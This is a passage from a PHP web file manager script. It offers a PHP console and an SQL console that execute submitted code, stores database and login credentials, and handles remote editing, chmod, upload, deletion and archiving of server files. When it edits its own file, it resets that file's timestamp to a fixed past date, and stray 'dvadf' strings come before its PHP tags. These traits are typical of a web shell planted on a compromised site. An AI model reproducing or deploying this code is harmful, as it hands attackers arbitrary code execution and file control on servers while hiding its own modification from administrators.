    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
